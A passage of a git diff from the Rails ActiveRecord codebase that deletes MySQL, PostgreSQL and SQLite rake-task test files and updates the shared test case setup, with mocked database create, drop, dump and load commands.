+        ActiveRecord::Tasks::DatabaseTasks.stub(:db_dir, "/tmp") do
+          configurations = {
+            "development" => {
+              "primary" => { "adapter" => "abstract", "database" => "dev-db" },
+              "secondary" => { "adapter" => "abstract", "database" => "secondary-dev-db" },
+            },
+          }
+          with_stubbed_configurations(configurations) do
+            assert_equal "/tmp/secondary_#{filename}", ActiveRecord::Tasks::DatabaseTasks.schema_dump_path(config_for("development", "secondary"), fmt)
+          end
+        end
       end
     end
   end
diff --git a/activerecord/test/cases/tasks/mysql_rake_test.rb b/activerecord/test/cases/tasks/mysql_rake_test.rb
deleted file mode 100644
index f30e0958c3284..0000000000000
--- a/activerecord/test/cases/tasks/mysql_rake_test.rb
+++ /dev/null
@@ -1,377 +0,0 @@
-require "cases/helper"
-require "active_record/tasks/database_tasks"
-
-if current_adapter?(:Mysql2Adapter)
-  module ActiveRecord
-    class MysqlDBCreateTest < ActiveRecord::TestCase
-      def setup
-        @connection    = stub(create_database: true)
-        @configuration = {
-          "adapter"  => "mysql2",
-          "database" => "my-app-db"
-        }
-
-        ActiveRecord::Base.stubs(:connection).returns(@connection)
-        ActiveRecord::Base.stubs(:establish_connection).returns(true)
-
-        $stdout, @original_stdout = StringIO.new, $stdout
-        $stderr, @original_stderr = StringIO.new, $stderr
-      end
-
-      def teardown
-        $stdout, $stderr = @original_stdout, @original_stderr
-      end
-
-      def test_establishes_connection_without_database
-        ActiveRecord::Base.expects(:establish_connection).
-          with("adapter" => "mysql2", "database" => nil)
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration
-      end
-
-      def test_creates_database_with_no_default_options
-        @connection.expects(:create_database).
-          with("my-app-db", {})
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration
-      end
-
-      def test_creates_database_with_given_encoding
-        @connection.expects(:create_database).
-          with("my-app-db", charset: "latin1")
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration.merge("encoding" => "latin1")
-      end
-
-      def test_creates_database_with_given_collation
-        @connection.expects(:create_database).
-          with("my-app-db", collation: "latin1_swedish_ci")
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration.merge("collation" => "latin1_swedish_ci")
-      end
-
-      def test_establishes_connection_to_database
-        ActiveRecord::Base.expects(:establish_connection).with(@configuration)
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration
-      end
-
-      def test_when_database_created_successfully_outputs_info_to_stdout
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration
-
-        assert_equal "Created database 'my-app-db'\n", $stdout.string
-      end
-
-      def test_create_when_database_exists_outputs_info_to_stderr
-        ActiveRecord::Base.connection.stubs(:create_database).raises(
-          ActiveRecord::Tasks::DatabaseAlreadyExists
-        )
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration
-
-        assert_equal "Database 'my-app-db' already exists\n", $stderr.string
-      end
-    end
-
-    class MysqlDBCreateAsRootTest < ActiveRecord::TestCase
-      def setup
-        @connection    = stub("Connection", create_database: true)
-        @error         = Mysql2::Error.new("Invalid permissions")
-        @configuration = {
-          "adapter"  => "mysql2",
-          "database" => "my-app-db",
-          "username" => "pat",
-          "password" => "wossname"
-        }
-
-        $stdin.stubs(:gets).returns("secret\n")
-        $stdout.stubs(:print).returns(nil)
-        @error.stubs(:errno).returns(1045)
-        ActiveRecord::Base.stubs(:connection).returns(@connection)
-        ActiveRecord::Base.stubs(:establish_connection).
-          raises(@error).
-          then.returns(true)
-
-        $stdout, @original_stdout = StringIO.new, $stdout
-        $stderr, @original_stderr = StringIO.new, $stderr
-      end
-
-      def teardown
-        $stdout, $stderr = @original_stdout, @original_stderr
-      end
-
-      def test_root_password_is_requested
-        assert_permissions_granted_for("pat")
-        $stdin.expects(:gets).returns("secret\n")
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration
-      end
-
-      def test_connection_established_as_root
-        assert_permissions_granted_for("pat")
-        ActiveRecord::Base.expects(:establish_connection).with(
-          "adapter"  => "mysql2",
-          "database" => nil,
-          "username" => "root",
-          "password" => "secret"
-        )
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration
-      end
-
-      def test_database_created_by_root
-        assert_permissions_granted_for("pat")
-        @connection.expects(:create_database).
-          with("my-app-db", {})
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration
-      end
-
-      def test_grant_privileges_for_normal_user
-        assert_permissions_granted_for("pat")
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration
-      end
-
-      def test_do_not_grant_privileges_for_root_user
-        @configuration["username"] = "root"
-        @configuration["password"] = ""
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration
-      end
-
-      def test_connection_established_as_normal_user
-        assert_permissions_granted_for("pat")
-        ActiveRecord::Base.expects(:establish_connection).returns do
-          ActiveRecord::Base.expects(:establish_connection).with(
-            "adapter"  => "mysql2",
-            "database" => "my-app-db",
-            "username" => "pat",
-            "password" => "secret"
-          )
-
-          raise @error
-        end
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration
-      end
-
-      def test_sends_output_to_stderr_when_other_errors
-        @error.stubs(:errno).returns(42)
-
-        $stderr.expects(:puts).at_least_once.returns(nil)
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration
-      end
-
-      private
-
-        def assert_permissions_granted_for(db_user)
-          db_name = @configuration["database"]
-          db_password = @configuration["password"]
-          @connection.expects(:execute).with("GRANT ALL PRIVILEGES ON #{db_name}.* TO '#{db_user}'@'localhost' IDENTIFIED BY '#{db_password}' WITH GRANT OPTION;")
-        end
-    end
-
-    class MySQLDBDropTest < ActiveRecord::TestCase
-      def setup
-        @connection    = stub(drop_database: true)
-        @configuration = {
-          "adapter"  => "mysql2",
-          "database" => "my-app-db"
-        }
-
-        ActiveRecord::Base.stubs(:connection).returns(@connection)
-        ActiveRecord::Base.stubs(:establish_connection).returns(true)
-
-        $stdout, @original_stdout = StringIO.new, $stdout
-        $stderr, @original_stderr = StringIO.new, $stderr
-      end
-
-      def teardown
-        $stdout, $stderr = @original_stdout, @original_stderr
-      end
-
-      def test_establishes_connection_to_mysql_database
-        ActiveRecord::Base.expects(:establish_connection).with @configuration
-
-        ActiveRecord::Tasks::DatabaseTasks.drop @configuration
-      end
-
-      def test_drops_database
-        @connection.expects(:drop_database).with("my-app-db")
-
-        ActiveRecord::Tasks::DatabaseTasks.drop @configuration
-      end
-
-      def test_when_database_dropped_successfully_outputs_info_to_stdout
-        ActiveRecord::Tasks::DatabaseTasks.drop @configuration
-
-        assert_equal "Dropped database 'my-app-db'\n", $stdout.string
-      end
-    end
-
-    class MySQLPurgeTest < ActiveRecord::TestCase
-      def setup
-        @connection    = stub(recreate_database: true)
-        @configuration = {
-          "adapter"  => "mysql2",
-          "database" => "test-db"
-        }
-
-        ActiveRecord::Base.stubs(:connection).returns(@connection)
-        ActiveRecord::Base.stubs(:establish_connection).returns(true)
-      end
-
-      def test_establishes_connection_to_the_appropriate_database
-        ActiveRecord::Base.expects(:establish_connection).with(@configuration)
-
-        ActiveRecord::Tasks::DatabaseTasks.purge @configuration
-      end
-
-      def test_recreates_database_with_no_default_options
-        @connection.expects(:recreate_database).
-          with("test-db", {})
-
-        ActiveRecord::Tasks::DatabaseTasks.purge @configuration
-      end
-
-      def test_recreates_database_with_the_given_options
-        @connection.expects(:recreate_database).
-          with("test-db", charset: "latin", collation: "latin1_swedish_ci")
-
-        ActiveRecord::Tasks::DatabaseTasks.purge @configuration.merge(
-          "encoding" => "latin", "collation" => "latin1_swedish_ci")
-      end
-    end
-
-    class MysqlDBCharsetTest < ActiveRecord::TestCase
-      def setup
-        @connection    = stub(create_database: true)
-        @configuration = {
-          "adapter"  => "mysql2",
-          "database" => "my-app-db"
-        }
-
-        ActiveRecord::Base.stubs(:connection).returns(@connection)
-        ActiveRecord::Base.stubs(:establish_connection).returns(true)
-      end
-
-      def test_db_retrieves_charset
-        @connection.expects(:charset)
-        ActiveRecord::Tasks::DatabaseTasks.charset @configuration
-      end
-    end
-
-    class MysqlDBCollationTest < ActiveRecord::TestCase
-      def setup
-        @connection    = stub(create_database: true)
-        @configuration = {
-          "adapter"  => "mysql2",
-          "database" => "my-app-db"
-        }
-
-        ActiveRecord::Base.stubs(:connection).returns(@connection)
-        ActiveRecord::Base.stubs(:establish_connection).returns(true)
-      end
-
-      def test_db_retrieves_collation
-        @connection.expects(:collation)
-        ActiveRecord::Tasks::DatabaseTasks.collation @configuration
-      end
-    end
-
-    class MySQLStructureDumpTest < ActiveRecord::TestCase
-      def setup
-        @configuration = {
-          "adapter"  => "mysql2",
-          "database" => "test-db"
-        }
-      end
-
-      def test_structure_dump
-        filename = "awesome-file.sql"
-        Kernel.expects(:system).with("mysqldump", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db").returns(true)
-
-        ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
-      end
-
-      def test_structure_dump_with_extra_flags
-        filename = "awesome-file.sql"
-        expected_command = ["mysqldump", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "--noop", "test-db"]
-
-        assert_called_with(Kernel, :system, expected_command, returns: true) do
-          with_structure_dump_flags(["--noop"]) do
-            ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
-          end
-        end
-      end
-
-      def test_warn_when_external_structure_dump_command_execution_fails
-        filename = "awesome-file.sql"
-        Kernel.expects(:system)
-          .with("mysqldump", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db")
-          .returns(false)
-
-        e = assert_raise(RuntimeError) {
-          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, filename)
-        }
-        assert_match(/^failed to execute: `mysqldump`$/, e.message)
-      end
-
-      def test_structure_dump_with_port_number
-        filename = "awesome-file.sql"
-        Kernel.expects(:system).with("mysqldump", "--port=10000", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db").returns(true)
-
-        ActiveRecord::Tasks::DatabaseTasks.structure_dump(
-          @configuration.merge("port" => 10000),
-          filename)
-      end
-
-      def test_structure_dump_with_ssl
-        filename = "awesome-file.sql"
-        Kernel.expects(:system).with("mysqldump", "--ssl-ca=ca.crt", "--result-file", filename, "--no-data", "--routines", "--skip-comments", "test-db").returns(true)
-
-        ActiveRecord::Tasks::DatabaseTasks.structure_dump(
-          @configuration.merge("sslca" => "ca.crt"),
-          filename)
-      end
-
-      private
-        def with_structure_dump_flags(flags)
-          old = ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags
-          ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = flags
-          yield
-        ensure
-          ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = old
-        end
-    end
-
-    class MySQLStructureLoadTest < ActiveRecord::TestCase
-      def setup
-        @configuration = {
-          "adapter"  => "mysql2",
-          "database" => "test-db"
-        }
-      end
-
-      def test_structure_load
-        filename = "awesome-file.sql"
-        expected_command = ["mysql", "--execute", %{SET FOREIGN_KEY_CHECKS = 0; SOURCE #{filename}; SET FOREIGN_KEY_CHECKS = 1}, "--database", "test-db", "--noop"]
-
-        assert_called_with(Kernel, :system, expected_command, returns: true) do
-          with_structure_load_flags(["--noop"]) do
-            ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
-          end
-        end
-      end
-
-      private
-        def with_structure_load_flags(flags)
-          old = ActiveRecord::Tasks::DatabaseTasks.structure_load_flags
-          ActiveRecord::Tasks::DatabaseTasks.structure_load_flags = flags
-          yield
-        ensure
-          ActiveRecord::Tasks::DatabaseTasks.structure_load_flags = old
-        end
-    end
-  end
-end
diff --git a/activerecord/test/cases/tasks/postgresql_rake_test.rb b/activerecord/test/cases/tasks/postgresql_rake_test.rb
deleted file mode 100644
index a23100c32af35..0000000000000
--- a/activerecord/test/cases/tasks/postgresql_rake_test.rb
+++ /dev/null
@@ -1,341 +0,0 @@
-require "cases/helper"
-require "active_record/tasks/database_tasks"
-
-if current_adapter?(:PostgreSQLAdapter)
-  module ActiveRecord
-    class PostgreSQLDBCreateTest < ActiveRecord::TestCase
-      def setup
-        @connection    = stub(create_database: true)
-        @configuration = {
-          "adapter"  => "postgresql",
-          "database" => "my-app-db"
-        }
-
-        ActiveRecord::Base.stubs(:connection).returns(@connection)
-        ActiveRecord::Base.stubs(:establish_connection).returns(true)
-
-        $stdout, @original_stdout = StringIO.new, $stdout
-        $stderr, @original_stderr = StringIO.new, $stderr
-      end
-
-      def teardown
-        $stdout, $stderr = @original_stdout, @original_stderr
-      end
-
-      def test_establishes_connection_to_postgresql_database
-        ActiveRecord::Base.expects(:establish_connection).with(
-          "adapter"            => "postgresql",
-          "database"           => "postgres",
-          "schema_search_path" => "public"
-        )
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration
-      end
-
-      def test_creates_database_with_default_encoding
-        @connection.expects(:create_database).
-          with("my-app-db", @configuration.merge("encoding" => "utf8"))
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration
-      end
-
-      def test_creates_database_with_given_encoding
-        @connection.expects(:create_database).
-          with("my-app-db", @configuration.merge("encoding" => "latin"))
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration.
-          merge("encoding" => "latin")
-      end
-
-      def test_creates_database_with_given_collation_and_ctype
-        @connection.expects(:create_database).
-          with("my-app-db", @configuration.merge("encoding" => "utf8", "collation" => "ja_JP.UTF8", "ctype" => "ja_JP.UTF8"))
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration.
-          merge("collation" => "ja_JP.UTF8", "ctype" => "ja_JP.UTF8")
-      end
-
-      def test_establishes_connection_to_new_database
-        ActiveRecord::Base.expects(:establish_connection).with(@configuration)
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration
-      end
-
-      def test_db_create_with_error_prints_message
-        ActiveRecord::Base.stubs(:establish_connection).raises(Exception)
-
-        $stderr.stubs(:puts).returns(true)
-        $stderr.expects(:puts).
-          with("Couldn't create database for #{@configuration.inspect}")
-
-        assert_raises(Exception) { ActiveRecord::Tasks::DatabaseTasks.create @configuration }
-      end
-
-      def test_when_database_created_successfully_outputs_info_to_stdout
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration
-
-        assert_equal "Created database 'my-app-db'\n", $stdout.string
-      end
-
-      def test_create_when_database_exists_outputs_info_to_stderr
-        ActiveRecord::Base.connection.stubs(:create_database).raises(
-          ActiveRecord::Tasks::DatabaseAlreadyExists
-        )
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration
-
-        assert_equal "Database 'my-app-db' already exists\n", $stderr.string
-      end
-    end
-
-    class PostgreSQLDBDropTest < ActiveRecord::TestCase
-      def setup
-        @connection    = stub(drop_database: true)
-        @configuration = {
-          "adapter"  => "postgresql",
-          "database" => "my-app-db"
-        }
-
-        ActiveRecord::Base.stubs(:connection).returns(@connection)
-        ActiveRecord::Base.stubs(:establish_connection).returns(true)
-
-        $stdout, @original_stdout = StringIO.new, $stdout
-        $stderr, @original_stderr = StringIO.new, $stderr
-      end
-
-      def teardown
-        $stdout, $stderr = @original_stdout, @original_stderr
-      end
-
-      def test_establishes_connection_to_postgresql_database
-        ActiveRecord::Base.expects(:establish_connection).with(
-          "adapter"            => "postgresql",
-          "database"           => "postgres",
-          "schema_search_path" => "public"
-        )
-
-        ActiveRecord::Tasks::DatabaseTasks.drop @configuration
-      end
-
-      def test_drops_database
-        @connection.expects(:drop_database).with("my-app-db")
-
-        ActiveRecord::Tasks::DatabaseTasks.drop @configuration
-      end
-
-      def test_when_database_dropped_successfully_outputs_info_to_stdout
-        ActiveRecord::Tasks::DatabaseTasks.drop @configuration
-
-        assert_equal "Dropped database 'my-app-db'\n", $stdout.string
-      end
-    end
-
-    class PostgreSQLPurgeTest < ActiveRecord::TestCase
-      def setup
-        @connection    = stub(create_database: true, drop_database: true)
-        @configuration = {
-          "adapter"  => "postgresql",
-          "database" => "my-app-db"
-        }
-
-        ActiveRecord::Base.stubs(:connection).returns(@connection)
-        ActiveRecord::Base.stubs(:clear_active_connections!).returns(true)
-        ActiveRecord::Base.stubs(:establish_connection).returns(true)
-      end
-
-      def test_clears_active_connections
-        ActiveRecord::Base.expects(:clear_active_connections!)
-
-        ActiveRecord::Tasks::DatabaseTasks.purge @configuration
-      end
-
-      def test_establishes_connection_to_postgresql_database
-        ActiveRecord::Base.expects(:establish_connection).with(
-          "adapter"            => "postgresql",
-          "database"           => "postgres",
-          "schema_search_path" => "public"
-        )
-
-        ActiveRecord::Tasks::DatabaseTasks.purge @configuration
-      end
-
-      def test_drops_database
-        @connection.expects(:drop_database).with("my-app-db")
-
-        ActiveRecord::Tasks::DatabaseTasks.purge @configuration
-      end
-
-      def test_creates_database
-        @connection.expects(:create_database).
-          with("my-app-db", @configuration.merge("encoding" => "utf8"))
-
-        ActiveRecord::Tasks::DatabaseTasks.purge @configuration
-      end
-
-      def test_establishes_connection
-        ActiveRecord::Base.expects(:establish_connection).with(@configuration)
-
-        ActiveRecord::Tasks::DatabaseTasks.purge @configuration
-      end
-    end
-
-    class PostgreSQLDBCharsetTest < ActiveRecord::TestCase
-      def setup
-        @connection    = stub(create_database: true)
-        @configuration = {
-          "adapter"  => "postgresql",
-          "database" => "my-app-db"
-        }
-
-        ActiveRecord::Base.stubs(:connection).returns(@connection)
-        ActiveRecord::Base.stubs(:establish_connection).returns(true)
-      end
-
-      def test_db_retrieves_charset
-        @connection.expects(:encoding)
-        ActiveRecord::Tasks::DatabaseTasks.charset @configuration
-      end
-    end
-
-    class PostgreSQLDBCollationTest < ActiveRecord::TestCase
-      def setup
-        @connection    = stub(create_database: true)
-        @configuration = {
-          "adapter"  => "postgresql",
-          "database" => "my-app-db"
-        }
-
-        ActiveRecord::Base.stubs(:connection).returns(@connection)
-        ActiveRecord::Base.stubs(:establish_connection).returns(true)
-      end
-
-      def test_db_retrieves_collation
-        @connection.expects(:collation)
-        ActiveRecord::Tasks::DatabaseTasks.collation @configuration
-      end
-    end
-
-    class PostgreSQLStructureDumpTest < ActiveRecord::TestCase
-      def setup
-        @connection    = stub(structure_dump: true)
-        @configuration = {
-          "adapter"  => "postgresql",
-          "database" => "my-app-db"
-        }
-        @filename = "awesome-file.sql"
-
-        ActiveRecord::Base.stubs(:connection).returns(@connection)
-        ActiveRecord::Base.stubs(:establish_connection).returns(true)
-        Kernel.stubs(:system)
-        File.stubs(:open)
-      end
-
-      def test_structure_dump
-        Kernel.expects(:system).with("pg_dump", "-s", "-x", "-O", "-f", @filename, "my-app-db").returns(true)
-
-        ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
-      end
-
-      def test_structure_dump_with_extra_flags
-        expected_command = ["pg_dump", "-s", "-x", "-O", "-f", @filename, "--noop", "my-app-db"]
-
-        assert_called_with(Kernel, :system, expected_command, returns: true) do
-          with_structure_dump_flags(["--noop"]) do
-            ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
-          end
-        end
-      end
-
-      def test_structure_dump_with_schema_search_path
-        @configuration["schema_search_path"] = "foo,bar"
-
-        Kernel.expects(:system).with("pg_dump", "-s", "-x", "-O", "-f", @filename, "--schema=foo", "--schema=bar", "my-app-db").returns(true)
-
-        ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
-      end
-
-      def test_structure_dump_with_schema_search_path_and_dump_schemas_all
-        @configuration["schema_search_path"] = "foo,bar"
-
-        Kernel.expects(:system).with("pg_dump", "-s", "-x", "-O", "-f", @filename,  "my-app-db").returns(true)
-
-        with_dump_schemas(:all) do
-          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
-        end
-      end
-
-      def test_structure_dump_with_dump_schemas_string
-        Kernel.expects(:system).with("pg_dump", "-s", "-x", "-O", "-f", @filename, "--schema=foo", "--schema=bar", "my-app-db").returns(true)
-
-        with_dump_schemas("foo,bar") do
-          ActiveRecord::Tasks::DatabaseTasks.structure_dump(@configuration, @filename)
-        end
-      end
-
-      private
-        def with_dump_schemas(value, &block)
-          old_dump_schemas = ActiveRecord::Base.dump_schemas
-          ActiveRecord::Base.dump_schemas = value
-          yield
-        ensure
-          ActiveRecord::Base.dump_schemas = old_dump_schemas
-        end
-
-        def with_structure_dump_flags(flags)
-          old = ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags
-          ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = flags
-          yield
-        ensure
-          ActiveRecord::Tasks::DatabaseTasks.structure_dump_flags = old
-        end
-    end
-
-    class PostgreSQLStructureLoadTest < ActiveRecord::TestCase
-      def setup
-        @connection    = stub
-        @configuration = {
-          "adapter"  => "postgresql",
-          "database" => "my-app-db"
-        }
-
-        ActiveRecord::Base.stubs(:connection).returns(@connection)
-        ActiveRecord::Base.stubs(:establish_connection).returns(true)
-        Kernel.stubs(:system)
-      end
-
-      def test_structure_load
-        filename = "awesome-file.sql"
-        Kernel.expects(:system).with("psql", "-v", "ON_ERROR_STOP=1", "-q", "-f", filename, @configuration["database"]).returns(true)
-
-        ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
-      end
-
-      def test_structure_load_with_extra_flags
-        filename = "awesome-file.sql"
-        expected_command = ["psql", "-v", "ON_ERROR_STOP=1", "-q", "-f", filename, "--noop", @configuration["database"]]
-
-        assert_called_with(Kernel, :system, expected_command, returns: true) do
-          with_structure_load_flags(["--noop"]) do
-            ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
-          end
-        end
-      end
-
-      def test_structure_load_accepts_path_with_spaces
-        filename = "awesome file.sql"
-        Kernel.expects(:system).with("psql", "-v", "ON_ERROR_STOP=1", "-q", "-f", filename, @configuration["database"]).returns(true)
-
-        ActiveRecord::Tasks::DatabaseTasks.structure_load(@configuration, filename)
-      end
-
-      private
-        def with_structure_load_flags(flags)
-          old = ActiveRecord::Tasks::DatabaseTasks.structure_load_flags
-          ActiveRecord::Tasks::DatabaseTasks.structure_load_flags = flags
-          yield
-        ensure
-          ActiveRecord::Tasks::DatabaseTasks.structure_load_flags = old
-        end
-    end
-  end
-end
diff --git a/activerecord/test/cases/tasks/sqlite_rake_test.rb b/activerecord/test/cases/tasks/sqlite_rake_test.rb
deleted file mode 100644
index 0d917f3f6cfba..0000000000000
--- a/activerecord/test/cases/tasks/sqlite_rake_test.rb
+++ /dev/null
@@ -1,220 +0,0 @@
-require "cases/helper"
-require "active_record/tasks/database_tasks"
-require "pathname"
-
-if current_adapter?(:SQLite3Adapter)
-  module ActiveRecord
-    class SqliteDBCreateTest < ActiveRecord::TestCase
-      def setup
-        @database      = "db_create.sqlite3"
-        @connection    = stub :connection
-        @configuration = {
-          "adapter"  => "sqlite3",
-          "database" => @database
-        }
-
-        File.stubs(:exist?).returns(false)
-        ActiveRecord::Base.stubs(:connection).returns(@connection)
-        ActiveRecord::Base.stubs(:establish_connection).returns(true)
-
-        $stdout, @original_stdout = StringIO.new, $stdout
-        $stderr, @original_stderr = StringIO.new, $stderr
-      end
-
-      def teardown
-        $stdout, $stderr = @original_stdout, @original_stderr
-      end
-
-      def test_db_checks_database_exists
-        File.expects(:exist?).with(@database).returns(false)
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration, "/rails/root"
-      end
-
-      def test_when_db_created_successfully_outputs_info_to_stdout
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration, "/rails/root"
-
-        assert_equal "Created database '#{@database}'\n", $stdout.string
-      end
-
-      def test_db_create_when_file_exists
-        File.stubs(:exist?).returns(true)
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration, "/rails/root"
-
-        assert_equal "Database '#{@database}' already exists\n", $stderr.string
-      end
-
-      def test_db_create_with_file_does_nothing
-        File.stubs(:exist?).returns(true)
-        $stderr.stubs(:puts).returns(nil)
-
-        ActiveRecord::Base.expects(:establish_connection).never
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration, "/rails/root"
-      end
-
-      def test_db_create_establishes_a_connection
-        ActiveRecord::Base.expects(:establish_connection).with(@configuration)
-
-        ActiveRecord::Tasks::DatabaseTasks.create @configuration, "/rails/root"
-      end
-
-      def test_db_create_with_error_prints_message
-        ActiveRecord::Base.stubs(:establish_connection).raises(Exception)
-
-        $stderr.stubs(:puts).returns(true)
-        $stderr.expects(:puts).
-          with("Couldn't create database for #{@configuration.inspect}")
-
-        assert_raises(Exception) { ActiveRecord::Tasks::DatabaseTasks.create @configuration, "/rails/root" }
-      end
-    end
-
-    class SqliteDBDropTest < ActiveRecord::TestCase
-      def setup
-        @database      = "db_create.sqlite3"
-        @path          = stub(to_s: "/absolute/path", absolute?: true)
-        @configuration = {
-          "adapter"  => "sqlite3",
-          "database" => @database
-        }
-
-        Pathname.stubs(:new).returns(@path)
-        File.stubs(:join).returns("/former/relative/path")
-        FileUtils.stubs(:rm).returns(true)
-
-        $stdout, @original_stdout = StringIO.new, $stdout
-        $stderr, @original_stderr = StringIO.new, $stderr
-      end
-
-      def teardown
-        $stdout, $stderr = @original_stdout, @original_stderr
-      end
-
-      def test_creates_path_from_database
-        Pathname.expects(:new).with(@database).returns(@path)
-
-        ActiveRecord::Tasks::DatabaseTasks.drop @configuration, "/rails/root"
-      end
-
-      def test_removes_file_with_absolute_path
-        File.stubs(:exist?).returns(true)
-        @path.stubs(:absolute?).returns(true)
-
-        FileUtils.expects(:rm).with("/absolute/path")
-
-        ActiveRecord::Tasks::DatabaseTasks.drop @configuration, "/rails/root"
-      end
-
-      def test_generates_absolute_path_with_given_root
-        @path.stubs(:absolute?).returns(false)
-
-        File.expects(:join).with("/rails/root", @path).
-          returns("/former/relative/path")
-
-        ActiveRecord::Tasks::DatabaseTasks.drop @configuration, "/rails/root"
-      end
-
-      def test_removes_file_with_relative_path
-        File.stubs(:exist?).returns(true)
-        @path.stubs(:absolute?).returns(false)
-
-        FileUtils.expects(:rm).with("/former/relative/path")
-
-        ActiveRecord::Tasks::DatabaseTasks.drop @configuration, "/rails/root"
-      end
-
-      def test_when_db_dropped_successfully_outputs_info_to_stdout
-        ActiveRecord::Tasks::DatabaseTasks.drop @configuration, "/rails/root"
-
-        assert_equal "Dropped database '#{@database}'\n", $stdout.string
-      end
-    end
-
-    class SqliteDBCharsetTest < ActiveRecord::TestCase
-      def setup
-        @database      = "db_create.sqlite3"
-        @connection    = stub :connection
-        @configuration = {
-          "adapter"  => "sqlite3",
-          "database" => @database
-        }
-
-        File.stubs(:exist?).returns(false)
-        ActiveRecord::Base.stubs(:connection).returns(@connection)
-        ActiveRecord::Base.stubs(:establish_connection).returns(true)
-      end
-
-      def test_db_retrieves_charset
-        @connection.expects(:encoding)
-        ActiveRecord::Tasks::DatabaseTasks.charset @configuration, "/rails/root"
-      end
-    end
-
-    class SqliteDBCollationTest < ActiveRecord::TestCase
-      def setup
-        @database      = "db_create.sqlite3"
-        @connection    = stub :connection
-        @configuration = {
-          "adapter"  => "sqlite3",
-          "database" => @database
-        }
-
-        File.stubs(:exist?).returns(false)
-        ActiveRecord::Base.stubs(:connection).returns(@connection)
-        ActiveRecord::Base.stubs(:establish_connection).returns(true)
-      end
-
-      def test_db_retrieves_collation
-        assert_raise NoMethodError do
-          ActiveRecord::Tasks::DatabaseTasks.collation @configuration, "/rails/root"
-        end
-      end
-    end
-
-    class SqliteStructureDumpTest < ActiveRecord::TestCase
-      def setup
-        @database      = "db_create.sqlite3"
-        @configuration = {
-          "adapter"  => "sqlite3",
-          "database" => @database
-        }
-      end
-
-      def test_structure_dump
-        dbfile   = @database
-        filename = "awesome-file.sql"
-
-        ActiveRecord::Tasks::DatabaseTasks.structure_dump @configuration, filename, "/rails/root"
-        assert File.exist?(dbfile)
-        assert File.exist?(filename)
-      ensure
-        FileUtils.rm_f(filename)
-        FileUtils.rm_f(dbfile)
-      end
-    end
-
-    class SqliteStructureLoadTest < ActiveRecord::TestCase
-      def setup
-        @database      = "db_create.sqlite3"
-        @configuration = {
-          "adapter"  => "sqlite3",
-          "database" => @database
-        }
-      end
-
-      def test_structure_load
-        dbfile   = @database
-        filename = "awesome-file.sql"
-
-        open(filename, "w") { |f| f.puts("select datetime('now', 'localtime');") }
-        ActiveRecord::Tasks::DatabaseTasks.structure_load @configuration, filename, "/rails/root"
-        assert File.exist?(dbfile)
-      ensure
-        FileUtils.rm_f(filename)
-        FileUtils.rm_f(dbfile)
-      end
-    end
-  end
-end
diff --git a/activerecord/test/cases/test_case.rb b/activerecord/test/cases/test_case.rb
index 31b11c19f7795..605e9fd8244aa 100644
--- a/activerecord/test/cases/test_case.rb
+++ b/activerecord/test/cases/test_case.rb
@@ -1,136 +1,341 @@
-require "active_support/test_case"
+# frozen_string_literal: true
+
+require_relative "../../../tools/strict_warnings"
+require "active_support"
 require "active_support/testing/autorun"
 require "active_support/testing/method_call_assertions"
 require "active_support/testing/stream"
+require "active_record/testing/query_assertions"
 require "active_record/fixtures"
 
 require "cases/validations_repair_helper"
+require_relative "../support/config"
+require_relative "../support/connection"
+require_relative "../support/adapter_helper"
+require_relative "../support/load_schema_helper"
 
 module ActiveRecord
   # = Active Record Test Case
   #
   # Defines some test assertions to test against SQL queries.
-  class TestCase < ActiveSupport::TestCase #:nodoc:
+  class TestCase < ActiveSupport::TestCase # :nodoc:
     include ActiveSupport::Testing::MethodCallAssertions
     include ActiveSupport::Testing::Stream
+    include ActiveRecord::Assertions::QueryAssertions
     include ActiveRecord::TestFixtures
     include ActiveRecord::ValidationsRepairHelper
+    include AdapterHelper
+    extend AdapterHelper
+    include LoadSchemaHelper
+    extend LoadSchemaHelper
 
-    self.fixture_path = FIXTURES_ROOT
+    self.fixture_paths = [FIXTURES_ROOT]
     self.use_instantiated_fixtures = false
     self.use_transactional_tests = true
 
-    def create_fixtures(*fixture_set_names, &block)
